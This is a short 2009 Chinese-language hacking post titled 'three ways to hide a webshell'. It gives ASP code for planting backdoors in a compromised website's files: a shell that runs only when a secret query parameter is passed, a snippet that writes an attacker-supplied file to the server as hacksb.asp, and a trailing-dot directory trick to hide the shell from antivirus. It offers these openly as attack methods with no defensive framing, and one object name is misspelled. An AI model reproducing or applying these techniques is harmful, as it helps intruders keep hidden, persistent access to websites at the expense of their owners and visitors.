三种隐藏Webshell的方法

2009-8-28 12:57 876 0

摘要: 第一种:在我们要做手脚的asp文件里加入如下内容<%if request(”action”)=”ok” then%>shell代码插在这里<%end if%>访问的时候在你作手...

关键词： asp 文件 hacksb 作手脚后面时候内容网站自动生成杀毒软件

第一种:在我们要做手脚的asp文件里加入如下内容<%if request(”action”)=”ok” then%>shell代码插在这里<%end if%>访问的时候在你作手脚的asp文件后面加上?action=ok,即可第二种:在我们要做手脚的asp文件里加入如下内容<%on error resume nextstrFileName = Request.QueryString(”filer”)set objStream = Server.createObject(”ABODB.Stream”)objStream.Type = 1objStream.OpenobjStream.LoadFromFile strFileNameobjStream.SaveToFile Server.mappath(”hacksb.asp”),2%>访问的时候在做手脚的asp文件后面加上?filer=xxx,xxx为你本地上传的一个路径如C:\hacksb.asp,上传后在做手脚的asp的同文件夹中会自动生成hacksb.asp 第三种:前提得到system权限,进入网站目录下一层mkdir s…copy hacksb.asp s…/这样杀毒软件找不到的访问http://网站/s…/hacksb.asp即可

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除